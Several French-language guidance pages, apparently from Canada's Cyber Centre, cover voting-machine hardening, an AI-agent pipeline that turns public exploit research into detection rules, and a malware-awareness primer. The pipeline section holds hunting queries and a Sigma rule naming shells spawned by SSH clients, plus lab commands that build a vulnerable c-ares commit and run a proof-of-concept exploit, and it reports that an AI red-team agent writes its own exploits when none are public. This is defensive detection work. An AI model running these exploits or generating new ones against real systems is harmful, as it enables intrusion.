• Mettre en œuvre le contrôle par deux personnes pour toutes les interactions avec les urnes électroniques durant leur cycle de vie, sauf lorsque des électrices et électeurs déposent leur bulletin de vote.
• Éviter de partager les justificatifs d’accès. Veiller à ce que chaque personne ait des justificatifs d’identité uniques pour accéder aux systèmes de compilation des votes.
• Exiger l’utilisation de phrases de passe ou de mots de passe forts sur les systèmes de vote.
• Utiliser des protocoles d’authentification robustes et ne jamais conserver les mots de passe en texte brut.
• Protéger les paramètres d’authentification au moyen d’algorithmes de hachage afin de faire preuve de résilience contre les attaques cryptographiques.
• Exiger des mécanismes d’authentification multifacteur (AMF) pour les accès administrateur aux systèmes de compilation des votes.

Pour de plus amples informations sur la gestion des comptes et des accès, consultez les publications Pratiques exemplaires de création de phrases de passe et de mots de passe (ITSAP.30.032), Sécurisez vos comptes et vos appareils avec une authentification multifacteur (ITSAP.30.030) et Les 10 mesures de sécurité des TI : no 3 Gestion et contrôle des privilèges d’administrateur (ITSM.10.094).

Verrouiller les dispositifs

Les administratrices et administrateurs de scrutin doivent veiller à ce que la configuration et les paramètres de sécurité des urnes électroniques soient mis à jour pour correspondre aux politiques organisationnelles. Il faut tenir compte également des mesures suivantes de verrouillage des urnes électroniques :

• Restreindre les services activés sur les systèmes et les dispositifs et empêcher les utilisatrices et utilisateurs de modifier les paramètres ou les configurations ou d’en créer.
  • Activer seulement les services essentiels aux tâches prévues.
• Déconnecter les dispositifs externes, comme les imprimantes, les télécopieurs et autres dispositifs informatiques, des urnes électroniques s’ils ne sont pas utilisés.
• Restreindre l’accès aux ports auxiliaires ou de données existants.
  • S’il y a un besoin opérationnel, il faut évaluer l’activation des ports en passant par un processus d’évaluation des risques.

Validation et authentification des dispositifs

Il est important de mettre en œuvre des mécanismes d’authentification robustes afin de préserver la confiance envers les dispositifs de compilation. Envisagez des mécanismes qui valident et authentifient en continu l’intégrité des urnes électroniques tout au long de leur cycle de vie. Par exemple, ils pourraient confirmer la validité des signatures numériques de l’infrastructure à clé publique (ICP) de confiance des progiciels. Les administratrices et administrateurs de scrutin doivent tenir compte de la logique logicielle et tester l’exactitude pour vérifier que les urnes électroniques fonctionnent comme elles se doivent. L’utilisation de certificats cryptographiques de dispositif peut également appuyer la certification physique de dispositif.

Correctifs et mises à jour de système

Il est essentiel de gérer régulièrement les correctifs afin de protéger les urnes électroniques contre les menaces connues et inconnues. Par conséquent, il est recommandé de mettre en œuvre les mesures additionnelles ci-dessous :

• Veiller à ce que les micrologiciels et logiciels soient à jour.
• Appliquer les correctifs aux dispositifs et les mises à jour logicielles régulièrement.
• Utiliser les mécanismes cryptographiques pour valider les micrologiciels et les logiciels avant d’appliquer les mises à jour.
• Confirmer que les cycles de déploiement des mises à jour n’ont pas une incidence opérationnelle sur des élections prévues.

Développement d’applications sécurisées

Il est possible que le développement ou l’approvisionnement d’une application soit nécessaire afin de respecter des exigences juridiques ou réglementaires. Il faut évaluer les considérations liées à la sécurité à toutes les étapes du processus de développement ou d’approvisionnement. Peu importe le modèle d’acquisition de l’application, les exigences en matière de sécurité doivent être clairement définies et consignées pour évaluer les objectifs de fonctionnalité et de sécurité. Les techniques de modélisation ou d’évaluation des menaces peuvent également servir à cerner et à affronter les menaces associées aux applications qui seront déployées sur les urnes électroniques. Les piles de logiciels modernes sont si complexes qu’il faut présumer qu’il y aura des compromissions du cycle de vie. Les organismes électoraux peuvent réduire leur surface d’attaque en cernant et en gérant les risques tôt dans le processus de conception de l’application, afin de bien atténuer ces risques.

Vérification des applications

Les approches de vérification dynamique et statique aident à tester la sécurité des logiciels système. La vérification statique nécessite de tester le code source et binaire, tandis que la vérification dynamique nécessite de tester l’application dans son utilisation fonctionnelle. Votre processus d’assurance logicielle doit vous permettre d’évaluer les applications dans un environnement de test. Adoptez des contrôles des tests d’intrusion et des tests fonctionnels pour valider les objectifs de sécurité et résoudre les vulnérabilités détectées. Ne présumez pas qu’une application a été vérifiée. Menez plutôt votre évaluation en fonction de vos objectifs de sécurité. Tirez parti des normes de vérification officielles, comme celles définies dans les critères communs, dans les normes ASVS d’OWASP (en anglais seulement) et dans le document ISO/IEC 27034-1 Technologies de l’information — Techniques de sécurité — Sécurité des applications (en anglais seulement).

Surveillance des journaux de vérification

L’activation des capacités de collecte d’événement et de journaux sur les urnes électroniques peut aider à enquêter sur les incidents. Les événements d’activité doivent être ajoutés aux journaux dans un stockage protégé, comme un support matériel non réinscriptible, et la conservation des données de journaux doit respecter les règles juridiques et de protection des renseignements personnels. Veillez à harmoniser les activités de journalisation sur les objectifs de criminalistique et d’intervention en cas d’incident, de sorte à garantir que les journaux d’activités recueillis contiennent l’information nécessaire pour enquêter sur les incidents.

Continuité des activités

Vous devriez établir des plans de continuité des activités et des procédures connexes, et les tester, pour garantir que les activités électorales puissent reprendre en cas d’événement préjudiciable. La planification des activités doit déterminer les données dont il faut faire une sauvegarde et établir des procédures de test et de reprise pour les sauvegardes. De plus, il faudrait tenir compte des combinaisons d’options de sauvegarde sur site et hors site pour répondre le mieux aux besoins. Les sauvegardes nécessitent les mêmes protections que les dispositifs en tant que tels, notamment en matière de sécurité physique, d’isolation réseau, d’accès contrôlés et de contrôle par deux personnes.

Pour obtenir de plus amples renseignements sur la planification de continuité des activités, consultez la publication Élaboration de votre plan de continuité des activités (ITSAP.10.005). Pour en savoir plus sur les sauvegardes, consultez la publication Sauvegarder et récupérer vos données (ITSAP.40.002).

Pendant les élections, veillez à ce que des procédures d’urgence soient en place pour reprendre rapidement les activités en cas d’événements non planifiés, comme le défaut ou le vol des urnes électroniques. Vous devriez chiffrer les sauvegardes des données sensibles et sécuriser leur accès. Créez également une sauvegarde des clés de chiffrement, des certificats de sécurité et des justificatifs d’identité afin que la récupération soit plus facile au besoin. Déconnectez le stockage externe lorsqu’il n’est pas utilisé pour réduire le risque que les données de sauvegarde soient corrompues.

Conserver des sauvegardes papier

Dans l’élaboration des processus électoraux qui utilisent des urnes électroniques, il est important que les administratrices et administrateurs envisagent des solutions résilientes pour se protéger contre les attaques par perturbation et la manipulation électronique. Si conserver des sauvegardes électroniques est essentiel pour accélérer la reprise après un incident, des dossiers ou des copies papier des bulletins de vote et des résultats compilés devraient être tenus. Si un incident catastrophique avait des répercussions sur le fonctionnement des systèmes électoraux, des dossiers papier permettront au processus démocratique de se poursuivre.

Planifier en fonction des incidents et de la reprise

Les incidents de sécurité peuvent survenir même si la cybersécurité de vos systèmes est la plus robuste. Les administratrices et administrateurs de scrutin doivent être prêts à gérer les compromissions de cybersécurité et la reprise. Une fois mis en place, le plan de reprise des activités après un incident doit décrire les rôles et les responsabilités de toutes les parties prenantes.  Ce plan doit être testé régulièrement pour assurer son efficacité. Les processus électoraux qui se basent sur des systèmes électroniques doivent avoir des mesures de sauvegarde manuelle et hors réseau qui peuvent être déployées en cas de défaut des systèmes électroniques.

Pour plus d’information sur l’intervention en cas d’incident et la planification de reprise des activités, consultez les publications Élaborer un plan d’intervention en cas d’incident (ITSAP.40.003) et Élaboration d’un plan de reprise informatique personnalisé (ITSAP.40.002).

Former les utilisatrices et utilisateurs

Il est essentiel de former les membres du personnel électoral et les bénévoles concernant les risques à la cybersécurité, afin d’assurer l’utilisation sécurisée des urnes électroniques. Ces personnes aux premières lignes doivent recevoir de la formation pour leur expliquer comment leurs gestes peuvent faciliter ou les attaques à la cybersécurité ou empêcher qu’elles surviennent. Veillez à ce que le personnel reçoive régulièrement de la formation afin de comprendre l’environnement de menace. La formation et les programmes de sensibilisation doivent viser l’ensemble des utilisatrices et utilisateurs des systèmes électoraux. Vous devez également évaluer de façon périodique l’efficacité de vos programmes de formation et veiller à ce que le contenu corresponde à l’information obtenue des évaluations de menace et réponde aux principaux enjeux liés aux menaces.

Pour en savoir plus sur la formation adaptée en cybersécurité, consultez la publication Les 10 mesures de sécurité des TI : No 6, Miser sur une formation sur mesure en matière de cybersécurité (ITSM.10.093).

Sécurité du personnel

Un processus de filtrage de sécurité efficace est essentiel. Mettez en place un processus de filtrage de sécurité du personnel et des bénévoles pour évaluer et valider l’intégrité des personnes recrutées pour travailler aux bureaux de scrutin ou devenir membre du personnel électoral. Menez des vérifications de sécurité des antécédents avant l’embauche. Veillez à ce que le processus de filtrage évalue continuellement l’admissibilité des membres du personnel et des bénévoles, y compris lors de changements de rôles ou de postes.

Afin de restreindre la possibilité qu’il y ait des contraintes légales étrangères, seules les personnes détenant la citoyenneté canadienne et l’habilitation de sécurité appropriée doivent avoir des accès administrateur au système de compilation des votes à tout moment du cycle de vie.

Efficacité des contrôles de sécurité

Il est important d’évaluer et de tester l’efficacité des contrôles de sécurité déployés sur les urnes électroniques afin de garantir que les systèmes fonctionnent comme il faut et qu’ils sont résilients face aux attaques réelles. Les administratrices et administrateurs de scrutin peuvent tirer parti des stratégies de test contrôlé, comme les tests d’intrusion physique ou procédurale et les techniques de modélisation des menaces. De plus, les autres mesures suivantes peuvent aider à assurer l’efficacité continue des contrôles de sécurité :

• Automatiser les mesures d’évaluation pour valider continuellement le bon fonctionnement des mesures de contrôle opérationnelles, techniques et gestionnelles.
• Cerner les mesures opérationnelles, de sécurité et de performance qui sont pertinentes à évaluer.
• Évaluer les capacités de cyberrésilience des systèmes contre les événements perturbateurs, comme la bombe logique.

Conclusion

Les urnes électroniques ont des capacités électroniques qui peuvent améliorer le processus démocratique et accroître l’efficacité. Cependant, les menaces qui les guettent, comme les perturbations ou les modifications de données, peuvent avoir une incidence négative sur la confiance envers les processus démocratiques. Il faut donc examiner attentivement les applications et l’architecture de déploiement de ces systèmes. Afin de réduire les répercussions d’éventuelles attaques lors du déploiement ou de l’utilisation des urnes électroniques, les administrations électorales doivent adopter une approche rigoureuse de la sécurité, notamment des mesures appropriées de protection des contrôles.

Les administratrices et administrateurs de scrutin doivent adopter une stratégie axée sur les données pour mettre en œuvre les contrôles de sécurité dans le chemin de données afin de sécuriser les systèmes de vote. Ils doivent veiller à ce que les urnes électroniques utilisées durant des élections démocratiques soient validées et que les protections de sécurité appropriées sont en place. Ils doivent également valider l’intégrité des logiciels, des micrologiciels et du matériel déployés sur les dispositifs de compilation, tout en protégeant continuellement ces dispositifs et systèmes tout au long de leur cycle de vie.

Date d’entrée en vigueur

La présente publication entre en vigueur le 6 août 2026.

Il s’agit d’un document NON CLASSIFIÉ publié avec l’autorisation du dirigeant principal du Centre canadien pour la cybersécurité (Centre pour la cybersécurité).

Pour de plus amples renseignements, veuillez communiquer avec le Centre pour la cybersécurité :

• par courriel : contact@cyber.gc.ca
• par téléphone : 613-949-7048 ou 1‑833‑CYBER‑88

Survol des exemples et extraits de code

Aperçu : Fonctionnement du pipeline de détection alimenté par l’IA

Le Centre pour la cybersécurité a mis à profit des modèles d’IA de pointe afin de concevoir un pipeline automatisé d’ingénierie des détections de bout en bout capable de transformer le renseignement sur les menaces accessible au public en règles de détection validées et prêtes à être déployées en production, avec un minimum d’intervention humaine. Le projet pilote reposait sur plusieurs agents aux fonctions distinctes.

Opus 4.8 s’est vu confier le rôle de l’équipe bleue consistant à générer la logique de détection conformément aux exigences opérationnelles.

Mythos s’est vu confier le rôle d’équipe rouge consistant à examiner du point de vue d’un adversaire la logique de détection afin de repérer d’éventuels contournements et d’en remettre en question l’efficacité.

Ensemble, ils forment une boucle itérative d’équipe pourpre produisant des mécanismes de détection validés aux fins d’examen par les analystes.

Ci-dessous se trouve le processus par étape pour le flux de travaux automatisé de l’ingénierie des détections, tel qu’il est présenté dans la figure 1 :

1. Agent – équipe bleue (Opus 4.8) : Article de recherche sur les menaces ingéré
2. Agent – équipe bleue (Opus 4.8) : Mécanisme de détection proposé
3. Agent – équipe rouge (Mythos) : L’IA génère un plan d’attaque
4. Agent – équipe rouge (Mythos) : Laboratoire déployé automatiquement
5. Agent – équipe rouge (Mythos) : Exécution du plan d’attaque
6. Agent – équipe bleue (Opus 4.8) : Analytique validée
7. Agent – équipe bleue (Opus 4.8) : Déploiement de la règle de détection en production

Figure 1 : Pipeline analytique complet de bout en bout

Pipeline analytique complet de bout en bout - Description détaillée

La figure 1 présente le flux de travaux automatisé de l’ingénierie des détections, de l’ingestion du renseignement sur les menaces à leur validation humaine et à leur déploiement en production. L’agent de l’équipe bleue, Opus 4.8, est utilisé aux étapes 1, 2, 6 et 7 pour générer et valider la logique de détection. Les étapes 3, 4 et 5 désignent l’agent de l’équipe rouge, Mythos, comme responsable de la création des scénarios d’attaque, du provisionnement d’un environnement de test et de l’exécution de variantes d’attaque. La figure 1 illustre comment les agents forment une boucle itérative d’équipe pourpre produisant des mécanismes de détection validés aux fins d’examen par les analystes.

En règle générale, les différentes étapes de développement analytique peuvent prendre de quelques heures à une semaine, selon leur complexité et le degré d’urgence. Le pipeline a réalisé le même travail en moins d’une heure, et à une échelle qui aurait été difficile à reproduire uniquement avec des analystes humains.

Scénario de test : Mise à l’essai du pipeline dans le cadre d’un scénario de menace réel

Le scénario de test suivant approfondit chacune des étapes du flux de travaux et démontre son efficacité dans un contexte opérationnel.

Article de recherche sur les menaces ingéré

Le pipeline analytique peut être amorcé à partir d’un éventail de données d’entrée. Celles-ci peuvent notamment provenir d’articles sur les menaces, de blogues, de rapports d’incident, de descriptions d’analystes ou de toute autre source de renseignement sur les menaces. Dans ce scénario de test, le pipeline a commencé par l’ingestion de renseignements publics sur les menaces provenant du référentiel GitHub: Exploitarium repository (en anglais seulement), qui regroupe des recherches sur les vulnérabilités ainsi que des preuves de concept d’exploitation. (Le Centre pour la cybersécurité n’est pas responsable du contenu du référentiel Exploitarium et ne l’approuve pas.)

Mécanisme de détection proposé

Le modèle a proposé une ou plusieurs détections potentielles, chacune accompagnée d’une description compréhensible de la logique de détection et d’une requête de chasse aux cybermenaces associée. Plusieurs de ces requêtes de chasse aux cybermenaces sont par la suite regroupées au moyen de filtres additionnels pour constituer une règle de détection.

SELECT Parent.Tag, Child.Tag, action, eventtime, hbs_agent_id
FROM events
WHERE timestamp BETWEEN '{start}' AND '{end}'
    AND hostname IN ('rtlab-ubu01', 'rtlab-web01')
    AND action IN ('PROCESS_EXEC', 'PROCESS_START')
    AND Parent.Tag RLIKE '(?i)(redis-server|php|java|ffmpeg|gogs|ladybird|objdump)'
    AND Child.Tag RLIKE '(?i)(bash|dash|sh|cmd|touch|calc)'

L’IA génère un plan d’attaque

Un plan d’attaque est généré, identifiant l’infrastructure, les logiciels et les preuves de concept nécessaires à la mise en œuvre de l’attaque. Dans ce cas, les preuves de concept nécessaires étaient déjà présentes dans le référentiel. Toutefois, lorsqu’aucune preuve de concept publique n’était disponible, Mythos essayait de générer sa propre preuve.

cd lab/ansible2-vm
ansible-playbook playbooks/scenario-exploitarium-rce-linux.yml \
    -e lab_unsafe_ack=true

cd /opt/lab/exploitarium/c-ares-tcp-uaf-calc-poc
# Build c-ares from vulnerable commit
./scripts/build_from_checkout.sh
# Run PoC (loopback DNS server + vulnerable client)
./scripts/run_until_hit.sh

Laboratoire déployé automatiquement

L’environnement lab est créé automatiquement en fonction du plan d’attaque et configuré avec la même pile de sécurité que celle utilisée dans les réseaux de production afin de recueillir une télémétrie comparable. Plusieurs variantes de l’environnement peuvent être créées afin d’assurer une couverture complète des tests.

Exécution du plan d’attaque

Le plan d’attaque est exécuté à l’aide de différentes variantes de la technique afin de valider l’efficacité de la logique de détection dans différentes conditions.

Validation analytique

La logique de détection proposée est validée à la fois au moyen de simulations générées en laboratoire et de données opérationnelles réelles, notamment la télémétrie provenant des clients. Ce processus itératif reprend les étapes précédentes, au besoin, jusqu’à ce que l’activité simulée soit détectée de manière sûre et que les faux positifs soient réduits au minimum.

Déploiement de la règle de détection en production

Les détections obtenues sont ensuite converties dans les formats exigés par les processus d’ingénierie analytique. Cela comprend des implémentations Sigma pour les détections relativement simples ainsi que des implémentations Python pour les analyses plus complexes, de même que les filtres nécessaires, la logique de réglage et la documentation connexe. Ces artéfacts sont soumis à l’examen des analystes sous la forme d’un dossier détaillé comprenant les preuves justificatives, les résultats de validation et les détails de mise en œuvre à l’appui des analyses finales.

# UNCLASSIFIED / NON CLASSIFIÉ // TLP:CLEAR
title: SSH Client Process Spawns Shell Interpreter
name: SSH_Client_Process_Spawns_Shell_Interpreter
id: a3d7e1f2-9c4b-4a8e-b5d6-7f0e2c1a3b94
status: testing
description: |
  Detects an SSH client process (ssh, scp, sftp, libssh2-linked, PuTTY, plink, Dropbear)
  spawning a shell interpreter with the -c flag. A legitimate SSH client should never
  exec sh -c as a child process — this is the primary indicator of client-side RCE
  exploitation (e.g., CVE-2026-55200 libssh2 heap overflow).
references:
  - https://attack.mitre.org/techniques/T1203/
  - https://nvd.nist.gov/vuln/detail/CVE-2026-55200
author:  CCCS
date: 2026/07/13
modified: 2026/07/13
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1203
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|re: '(?i).*([]\\]ssh|[]\\]scp|[]\\]sftp|[]\\]putty|[]\\]plink|libssh|ssh2|dbclient).*'
  selection_child:
    Image|re: '(?i).*(bash|dash|/sh$|zsh|ksh|ash).*'
    CommandLine|re: '(?i)((ba)?sh|dash|zsh|ash|ksh|cmd)\s+(-c|/c)\s+'
  filter_server_side:
    ParentImage|re: '(?i).*(sshd|ssh-agent|ssh-keygen|ssh-add|ssh-keyscan|sshfs).*'
  filter_benign_commands:
    CommandLine|re: '(?i)((ba)?sh|dash)\s+-c\s+(umask|locale|ssh-agent|test\s+-|\[\s+-)'
  condition: selection_parent and selection_child and not filter_server_side and not filter_benign_commands
falsepositives:
  - SSH session setup evaluating .bashrc (filtered by benign command patterns)
  - Legitimate SSH-based automation (Ansible, rsync) — typically uses sshd as parent, not ssh client
level: high

Orchestration informatique du pipeline

L’orchestration du flux de travaux repose sur un ensemble de compétences spécialisées d’agents, chacune étant responsable d’une étape précise du processus d’ingénierie des détections. Ces compétences peuvent être ajustées par les analystes pour renforcer l’uniformité des résultats, faire respecter les critères de qualité établis et garantir des résultats reproductibles dans divers cas d’utilisation.

Résultats et avantages opérationnels

Après plusieurs cycles de tests automatisés fondés sur la télémétrie générée et différentes variantes de techniques, les agents ont affiné les analyses de manière itérative. Une fois le processus terminé, le pipeline a préparé les détections prêtes pour la mise en production et les a soumises à l’examen des analystes. Les analystes pouvaient ensuite valider, approuver ou modifier les détections, selon les besoins, avant leur intégration au référentiel. Au total, le scénario de test présenté ci-dessus a permis de produire huit nouvelles règles de détection destinées à la production, après l’évaluation de plus de cinq variantes par technique afin d’identifier des indicateurs de comportement durables.

Dans l’ensemble, l’IA de pointe agit comme un multiplicateur de force, permettant de repérer plus rapidement les lacunes en matière de détection et d’opérationnaliser l’analyse des données défensives à un rythme mieux adapté à l’évolution du contexte des menaces. Grâce à l’automatisation d’une grande partie du processus d’ingénierie des détections, les analystes peuvent réduire le temps consacré aux tâches répétitives et se concentrer davantage sur ce qui suit :

• analyser des activités malveillantes réelles;
• observer comment les techniques se comportent dans divers contextes;
• fournir une rétroaction utile aux équipes d’ingénierie en amont concernant le manque de visibilité relevé.

Prochaines étapes de l’utilisation de l’IA de pointe par le Centre pour la cybersécurité

Bien que cette capacité continue globalement d’évoluer et de gagner en maturité, les progrès réalisés jusqu’à présent sont très prometteurs. Plusieurs composantes génèrent déjà une valeur opérationnelle tangible, et le flux de travaux continuera d’évoluer grâce à son utilisation collective et aux commentaires recueillis.

D’autres travaux en cours appliquent les mêmes techniques afin d’affiner et de renforcer continuellement les détections existantes en transformant les faux positifs validés en recommandations d’ajustement structurées et basées sur les preuves.

Un logiciel malveillant, ou maliciel, est utilisé par un auteur de menace pour compromettre les réseaux, les systèmes et les appareils. Lorsqu’une organisation est compromise par un maliciel, des auteurs de menace peuvent obtenir l’accès à de l’information sensible, surveiller les activités et perturber les opérations.

Cette publication présente les types courants de maliciels, les signes pouvant indiquer qu’un appareil est infecté et les mesures à prendre en cas de compromission d’un appareil. Elle propose également des conseils pratiques pour mieux protéger votre organisation contre de futures menaces.

Comment les maliciels s’introduisent

Les maliciels peuvent s’introduire dans un réseau, un système ou un appareil en exploitant des vulnérabilités ou en adoptant un comportement à risque. Les exemples suivants illustrent des façons courantes dont les maliciels pourraient s’introduire dans des systèmes et des appareils.

Téléchargements et fichiers

• Ouverture de fichiers joints malveillants.
• Téléchargement de logiciels, d’applications ou de mises à jour à partir de sources non fiables.
• Téléchargement ou partage de fichiers à partir de plateformes non officielles ou pair à pair.
• Connexion de supports amovibles non vérifiés ou non analysés (p. ex. des clés USB ou des lecteurs externes).

Navigation et accès

• Clic sur des fenêtres contextuelles, des annonces ou des alertes fausses ou trompeuses.
• Installation de barres d’outils ou de modules d’extension non autorisés.
• Consultation de sites Web non sécurisés ou compromis.
• Utilisation de réseaux Wi-Fi non protégés ou non fiables.

Sécurité des appareils et des comptes

• Utilisation de logiciels ou d’appareils désuets, non pris en charge ou non corrigés.
• Utilisation de mots de passe faibles, par défaut ou recyclés.

Types de maliciels et comportements

Il existe de nombreux types de maliciels, chacun ayant été conçu pour exploiter les systèmes de différentes façons. En se familiarisant avec les différents types de maliciels, on peut repérer les activités malveillantes plus rapidement et intervenir efficacement. Les maliciels se distinguent à la fois par leur mode de propagation et par les effets qu’ils produisent lorsqu’ils s’exécutent. Une même attaque peut faire appel à plusieurs techniques et à plusieurs capacités.

Comment les maliciels se propagent

Les maliciels exploitent différents modes de propagation leur permettant de s’installer et de se déplacer d’un système ou d’un réseau à l’autre. Les types présentés ci-dessous décrivent comment les maliciels s’introduisent dans les systèmes et s’y propagent.

• Cheval de Troie : logiciel malveillant dissimulé à l’intérieur d’un programme en apparence inoffensif, qui exécute des opérations nuisibles à l’insu de l’utilisatrice ou utilisateur.
• Virus : programme malveillant qui infecte des fichiers et qui se transmet à d’autres systèmes par intervention de l’utilisatrice ou utilisateur, comme l’ouverture ou le partage de fichiers infectés.
• Ver : programme malveillant qui s’exécute de lui-même et qui se reproduit par lui-même et se propage, généralement par les connexions réseau, dans le but de causer des dommages (p. ex. suppression de fichiers, envoi de documents par courriel, ou saturation de la bande passante).

Ce que les maliciels peuvent faire

Lorsqu’il s’exécute, un maliciel peut entraîner des actions nuisibles susceptibles d’affecter les systèmes, les données ou les utilisatrices et utilisateurs. Les types de maliciels présentés ci-dessous décrivent les effets ou les conséquences d’un maliciel sur les appareils infectés.

• Publiciel : programme malveillant qui surveille les activités sur Internet dans le but d’afficher des fenêtres publicitaires ciblées.
  • Il est souvent installé à l’insu de l’utilisatrice ou utilisateur au moyen de logiciels fournis ou de sites Web malveillants.
  • Il peut rediriger le trafic de navigation ou recueillir des données d’utilisateur.
• Pirate de navigateur : programme malveillant qui manipule les paramètres du navigateur afin de rediriger les personnes vers des publicités ou des sites Web indésirables. Il peut notamment changer la page d’accueil, modifier le moteur de recherche par défaut ou ajouter des barres d’outils non autorisées.
• Réseau zombie : réseau d’appareils infectés (appelés « robots » ou « zombies »).
• Cryptominage pirate : détournement de la puissance de traitement d’un appareil aux fins du minage d’une cybermonnaie, à l’insu de la ou du propriétaire, entraînant souvent un ralentissement important et une surchauffe.
• Bombe logique : programme qui provoque des actions malveillantes sur un système lorsqu’il est déclenché par des conditions particulières (date, heure ou intervention données). La bombe demeure souvent inactive et cachée jusqu’à ce qu’elle soit activée.
• Dissimulateur d’activité : ensemble de programmes furtifs qui procure un accès privilégié à des réseaux, à des systèmes ou à des appareils en se faisant passer pour un composant légitime du système d’exploitation.
  • Il s’intègre souvent profondément aux composants du système d’exploitation ou au micrologiciel pour échapper à la détection.
• Rançongiciel : maliciel qui bloque l’accès à des données ou à des systèmes, généralement en chiffrant les données et en retenant la clé de déchiffrement jusqu’à ce qu’une rançon soit versée à l’auteur de menace.
• Logiciel espion : logiciel destiné à surveiller les activités des utilisatrices et utilisateurs et à recueillir de l’information sensible les concernant, notamment des données de navigation, des identifiants de connexion ou des renseignements personnels. Voici certains types de logiciels espions :
  • Voleur d’information : programme conçu pour extraire des données sensibles d’un appareil, notamment les justificatifs d’identité, l’historique de navigation, les témoins temporaires et jetons, les renseignements d’autoremplissage (données relatives à des cartes de paiement enregistrées), les registres de communication, les documents, les renseignements sur le système et même des captures d’écran.
  • Enregistreur de frappe : programme conçu pour surveiller et enregistrer les touches saisies sur le clavier d’ordinateur dans le but de voler de l’information sensible (mots de passe, renseignements personnels ou informations financières).
    • Il s’exécute souvent dans le système d’exploitation ou les logiciels de saisie clavier afin de recueillir cette information de façon discrète.
  • Maliciel VPNFilter : logiciel destiné à compromettre des routeurs afin de permettre l’interception du trafic, la collecte de renseignements, l’exploitation de systèmes connectés et la perturbation ou manipulation du trafic sur le réseau.
  • Ver effaceur : programme qui détruit les données en supprimant, en écrasant ou en corrompant de façon permanente des fichiers et des composants de système, entraînant souvent une perte définitive des renseignements et l’inutilisabilité de l’appareil.

Comment l’intelligence artificielle fait évoluer les maliciels

Les auteurs de menace exploitent l’intelligence artificielle (IA) pour accroître l’efficacité des maliciels courants. Les sections qui suivent présentent les trois principales façons dont l’IA fait évoluer les maliciels.

Méthode 1 : Maliciels assistés par IA

Ce type de maliciel repose sur des outils d’IA non intégrés au maliciel lui-même pour soutenir la planification et l’exécution des attaques. Il en résulte des activités malveillantes plus rapides, plus ciblées et plus convaincantes.

Par exemple, les auteurs de menace peuvent utiliser l’IA pour générer des messages, créer du code malveillant, automatiser l’analyse de renseignements publics afin de repérer des cibles prisées et concevoir du contenu de piratage psychologique personnalisé visant à accroître les taux d’infection.

Parmi les principaux points d’entrée figurent les courriels d’hameçonnage contenant des fichiers joints ou des liens malveillants, les téléchargements effectués à partir de sites Web compromis ainsi que l’utilisation de justificatifs d’identité volés ou faibles pour accéder à des systèmes.

Méthode 2 : Maliciels améliorés par l’IA

Ce type de maliciel utilise l’IA pour renforcer les fonctions malveillantes traditionnelles pendant son exécution afin d’accroître sa furtivité, sa rapidité ou sa capacité de prise de décision. L’IA améliore ces fonctions, sans toutefois contrôler ni remplacer entièrement les processus sous-jacents du maliciel.

Par exemple, les auteurs de menace peuvent utiliser l’IA pour dissimuler leurs déplacements latéraux, masquer les transferts de données dans le trafic légitime, prioriser les cibles en fonction des activités observées ou adapter automatiquement les techniques pour éviter la détection.

Parmi les principaux points d’entrée figurent les courriels d’hameçonnage contenant des fichiers joints ou des liens malveillants, l’exploitation de systèmes non corrigés et l’utilisation abusive des accès à distance. Le maliciel utilise ensuite l’IA pour optimiser sa propagation et échapper à la détection.

Méthode 3 : Maliciel à IA intégré

Ce type de maliciel intègre l’IA dans la charge de virus afin de pouvoir analyser le système qu’il infecte et d’ajuster automatiquement son comportement en temps réel. Il peut ainsi identifier des cibles, s’adapter aux contrôles de sécurité et choisir les mesures qui le rendent plus efficace.

Par exemple, un maliciel doté d’IA peut choisir automatiquement les fichiers de grande valeur à cibler, adapter ses activités aux outils de sécurité, ajuster le délai d’exécution selon les habitudes d’utilisation observées et analyser l’environnement du système pour optimiser ses actions futures (p. ex. code adaptif).

Parmi les principaux points d’entrée figurent les courriels d’hameçonnage contenant des fichiers joints ou des liens malveillants ainsi que les services accessibles depuis Internet vulnérables ou mal configurés qui permettent l’installation du maliciel sur un appareil ou un système.

Signes indiquant qu’un appareil a été infecté

Les maliciels peuvent affecter un appareil de façon subtile, les signes de compromission n’étant parfois perceptibles qu’après l’apparition de dommages plus importants. En surveillant les signes suivants, il est possible de détecter plus tôt les menaces potentielles et de mieux protéger les renseignements.

Changements à l’appareil

• Fenêtre contextuelle apparaissant à l’écran d’un dispositif.
• Modification de la page d’accueil.
• Redirections du navigateur, barres d’outils nouvelles ou non reconnues, ou icônes inhabituelles.

Problèmes de performance

• Dégradation (ralentissement) de la puissance de traitement.
• Plantage d’un système ou d’une page.
• Activité inhabituelle ou excessive de l’unité de disque dur, surtout lorsque le système est inactif.

Changements aux paramètres de sécurité ou à la configuration des logiciels

• Exécution de programmes inconnus sur un appareil.
• Désactivation des logiciels antivirus ou de protection contre les maliciels.
• Verrouillage ou modification des paramètres de sécurité ou des contrôles administratifs.
• Inaccessibilité, chiffrement ou renommage des fichiers.
• Apparition sur l’appareil d’une demande de rançon ou de paiement.

Activités inhabituelles dans un compte

• Envoi de pourriels ou de messages depuis votre compte.
• Modification non autorisée de mots de passe ou tentatives de connexion inhabituelles.

Comportement du réseau et des appareils

• Hausse du trafic réseau lorsque l’appareil est inactif.
• Surchauffe de l’appareil, décharge rapide de la batterie ou utilisation inhabituelle des données mobiles.

Intervention en cas d’infection

En cas d’infection par un maliciel, il est important d’agir rapidement afin de limiter les dommages, de freiner la propagation et de protéger l’information sensible. Les pratiques exemplaires actuelles qui suivent vous aideront à contenir la menace, à assainir votre appareil en toute sécurité et à rétablir son état sécurisé.

Mesures immédiates

• Communiquer immédiatement avec le bureau des services de sécurité des technologies de l’information (TI) ou le fournisseur de services TI.
• Déconnecter l’appareil infecté de tous les réseaux (p. ex. Wi‑Fi, Ethernet et données mobiles).
• Si le maliciel semble actif ou en cours de propagation, éteindre l’appareil afin d’éviter d’autres dommages.
• Éviter d’utiliser l’appareil infecté pour accéder à des comptes sensibles (p. ex. comptes de courriel, systèmes financiers, portails administratifs).

Confinement et reprise

• Exécuter des analyses antivirus hors ligne si possible.
• Restaurer les données uniquement à partir de sauvegardes fiables et épurées créées avant l’infection.
• Analyser tous les fichiers de sauvegarde avant de les restaurer pour s’assurer qu’aucun logiciel malveillant ne s’y trouve.
  • Utiliser des outils d’analyse de maliciels fiables, comme Assemblyline, la plateforme d’analyse et de détection de maliciels du Centre canadien pour la cybersécurité, pour évaluer les fichiers suspects avant de procéder à leur restauration.
